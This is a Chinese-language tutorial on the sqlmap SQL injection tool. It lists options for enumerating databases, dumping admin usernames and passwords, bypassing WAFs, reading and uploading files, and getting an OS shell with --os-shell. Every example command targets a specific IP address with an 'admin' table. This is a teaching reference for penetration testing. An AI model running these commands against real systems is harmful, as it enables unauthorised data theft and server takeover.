概述
? SQLMap是一款开源、自动化的SQL注入漏洞检测工具,主要功能是扫描、发现并利用给定URL的SQL注入漏洞,能够检测动态页面中的get/post参数、cookie、http头、还可以查看数据、文件系统访问、甚至能够操作系统命令执行。
支持的数据库:MySQL、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
检测方式:union联合查询注入、布尔盲注、时间盲注、报错注入、堆叠注入
基本参数
1、更新 --update
python2 sqlmap.py --update
2、查看常用参数 -h
python2 sqlmap.py -h
3、查看全部参数 -hh
python2 sqlmap.py -hh
4、查看版本 --version
python2 sqlmap.py --version
5、查看执行过程 -v (一共有0~6,默认为1)
python2 sqlmap.py -v 3
6、确定目标 -u
? 指定URL,以get请求方式
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1”
6、查询当前数据库 --current-db
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” --current-db
7、查询所有数据库信息 --dbs
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” --dbs
8、查询所有的表 --tables (根据给定的字典一一进行枚举)
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” --tables
9、指定数据库 -D database_name
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -D maoshe
10、指定表名 -T table_name
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -T admin
11、查询所有字段名 --columns
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -D maoshe -T admin --columns
12、 指定字段名 -C column_name
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -T admin -C id,username,password
13、查看/下载 数据 --dump
python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -T admin -C id,username,password --dump
14、 自动选是 --batch
python2 sqlmap.py -u URL --batch
15、指定扫描的参数 -p
pthon2 sqlmap.py -u URL -p 参数
16、以post请求提交 -r request.txt
抓包将POST请求数据包保存到txt文件中,*表示需要扫描的参数
进阶操作
1、查看服务器主机名 --hostname
2、查询 数据库用户角色 --roles
3、查询所有的数据库账号 --users
4、查询当前数据库账号 --current-user
5、查询username的权限 —Privileges -U username
6、暴力破解字段 --common-columns
暴力破解字段,应用于两种情况:①无权限读取数据。②mysql<5.0 ,没有infomation_schema库
7、暴力破解表 --common-tables
8、清空session --flush-session
9、查询数据库的版本信息 -b
10、设置HTTP Referer头 --referer
11、计数,查看有多少条数据 --count
12、使用随机的浏览器代理头 --random-agent
13、指定主机头 -host
? --host= “aaa”
14、设置请求方式 --method
15、设置超时时间,默认为30秒 --timeout
16、设置http连接的重试次数,默认为3秒
17、设置 基于时间的注入检测 对应的延迟时间,默认为5秒 --time-sec
18、探测等级 --level
一共有五个等级(1–5),默认为1,等级2:检测cookie中是否含有注入,等级3:检测user-agent、referer是否含有注入,等级5:检测host是否含有注入
19、风险等级 --risk
共有四个等级,默认是1会测试大部分的测试语句,2会基于事件的测试语句,3会增加or语句的SQL注入测试
20、保持连接 --keep-alive
? 长连接、性能好,避免重复建立的网络开销,但是 大量的长连接会占用资源
注意:与 --proxy参数不兼容
21、查询 当前数据库账号是否有管理权限 --is-dba
22、使用代理去扫描目标,代理软件占用的端口在8080 --proxy
—proxy-cred:使用代理时的账号和密码
—proxy-cred=”name:pass”
—ignore-proxy : 忽略系统级代理设置,通常用于扫描本地网络目标,本网段。
23、指定操作系统 --os
python2 sqlmap.py -u URL --os=“windows”
24、检测是否有WAF --check-waf
25、绕过WAF/IPS/IDS --hpp=
26、运行自定义SQL语句 --sql-shell
27、运行任意操作系统命令
–os-shell:直接获得目标的CMD权限,当–is-dba为True时才有可能使用成功
28、从数据库服务器中读取文件 --file-read
29、上传文件带数据库服务器中
30、指定数据库管理系统 --dbms
|